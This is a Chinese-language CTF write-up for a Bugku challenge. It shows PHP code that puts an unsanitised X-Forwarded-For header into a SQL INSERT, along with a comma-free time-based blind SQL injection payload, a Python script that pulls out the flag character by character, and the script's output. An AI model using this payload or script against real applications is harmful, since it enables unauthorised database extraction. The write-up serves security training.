Bugku-INSERT INTO 注入

原创

INSERT INTO 注入

原题链接

http://120.24.86.145:8002/web15/

分析

题目给出源码

```
<?php
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];     //XFF优先
}else{
$ip = $_SERVER['REMOTE_ADDR'];      //否则REMOTE_ADDR
}
$ip_arr = explode(',', $ip);        //过滤','
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";       //insert into注入点
mysql_query($sql);
?>
```

在请求中的X-Forwarded-For字段可以进行注入，但是这里，被过滤了。

可以看到，这是X-Forwarded-For的注入，而且过滤了逗号,。在过滤了逗号的情况下，我们就不能使用if语句了，在mysql中与if有相同功效的就是：

```
select case when (条件) then 代码1 else 代码 2 end;
```

而且由于逗号,被过滤，我们就不能使用substr、substring了，但我们可以使用：from 1 for 1，所以最终我们的payload如下：

```
127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))--
```

python脚本：

```
# -*- coding:utf-8 -*-
import requests
import sys
# 基于时间的盲注，过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else
url = 'http://120.24.86.145:8002/web15/'
flag = ''
for i in range(1, 40):
    print('正在猜测：', str(i))
    for ch in range(32, 129):
        if ch == 128:
            sys.exit(0)
        sqli = sql.format(i, chr(ch))
        # print(sqli)
        header = {
            'X-Forwarded-For': sqli
        }
        try:
            html = requests.get(url, headers=header, timeout=3)
        except:
            flag += chr(ch)
            print(flag)
            break
```

运行结果：

```
正在猜测： 1
C
正在猜测： 2
CD
正在猜测： 3
CDB
正在猜测： 4
CDBF
正在猜测： 5
CDBF1
正在猜测： 6
CDBF14
...
...
正在猜测： 28
CDBF14C9551D5BE5612F7BB5D286
正在猜测： 29
CDBF14C9551D5BE5612F7BB5D2867
正在猜测： 30
CDBF14C9551D5BE5612F7BB5D28678
正在猜测： 31
CDBF14C9551D5BE5612F7BB5D286785
正在猜测： 32
CDBF14C9551D5BE5612F7BB5D2867853
```

flag

flag{cdbf14c9551d5be5612f7bb5d2867853}

知识点

时间盲注，XXF，insert into 注入

参考链接

https://delcoding.github.io/2018/03/bugku-writeup3/